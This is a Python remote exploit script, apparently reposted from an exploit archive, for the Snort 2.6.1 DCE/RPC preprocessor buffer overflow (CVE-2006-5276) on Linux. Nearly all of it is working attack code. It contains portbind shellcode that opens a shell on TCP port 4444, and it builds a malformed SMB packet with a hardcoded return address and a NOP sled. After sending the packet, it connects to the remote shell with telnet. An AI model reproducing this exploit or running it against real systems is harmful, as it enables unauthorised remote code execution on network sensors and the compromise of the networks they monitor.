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Snort 2.6.1 DCE/RPC Preprocessor Remote Buffer Overflow Exploit (linux)
======================================================================= Snort 2.6.1 DCE/RPC Preprocessor Remote Buffer Overflow Exploit (linux) ======================================================================= #!/usr/bin/python # # Remote exploit for Snort DCE/RPC preprocessor vulnerability as described in # CVE-2006-5276. The exploit binds a shell to TCP port 4444 and connects to it. # This code was tested against snort-2.6.1 running on Red Hat Linux 8 # # Author shall bear no responsibility for any screw ups caused by using this code # Winny Thomas :-) import os import sys import time from scapy import * # Linux portbind shellcode; Binds shell on TCP port 4444 shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" shellcode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" shellcode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" shellcode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" shellcode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" shellcode += "\x89\xe1\xcd\x80" def ExploitSnort(target): # SMB packet borrowed from http://www.milw0rm.com/exploits/3391 # NetBIOS Session Service smbreq = "\x00\x00\x02\xab" # SMB Header smbreq += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00" smbreq += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" smbreq += "\x00\x08\x30\x00" # Tree Connect AndX Request smbreq += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00" smbreq += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00" smbreq += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00" smbreq += "\x3f\x3f\x3f\x3f\x3f\x00" # NT Create AndX Request smbreq += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00" smbreq += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" smbreq += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00" smbreq += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00" smbreq += "\x63\x00\x00\x00" # Write AndX Request #1 smbreq += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" smbreq += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee" smbreq += "\x05\x00\x0b\x03\x10\x00\x00\x00\x10\x02\x00\x00\x01\x00\x00\x00" smbreq += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" smbreq += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" smbreq += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" smbreq += "\x2b\x10\x48\x60\x02\x00\x00\x00" # Write AndX Request #2 smbreq += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80" smbreq += "\x00\x48\x00\x00\x00\xff\x01\xce\x01\x00\x00\x00\x00\x49\x00\xee" smbreq += "\xed\x1e\x94\x7c\x90\x81\xc4\xff\xef\xff\xff\x44" smbreq += "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa9" # The following address overwrites RET and points into our shellcode smbreq += struct.pack('<L', 0xbfffeff0) smbreq += '\x90' * 50 smbreq += shellcode smbreq += '\x90' * 130 packet = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / smbreq send(packet) def ConnectRemoteShell(target): connect = '/usr/bin/telnet ' + target + ' 4444' os.system(connect) if __name__ == '__main__': try: target = sys.argv[1] except IndexError: print 'Usage: %s <ip of a host on snort network>' % sys.argv[0] sys.exit(-1) print '[+] Sending malformed SMB packet' ExploitSnort(target) print '[+] Connecting to remote shell in 3 seconds...' time.sleep(3) ConnectRemoteShell(target) # 0day.today [2024-11-16] #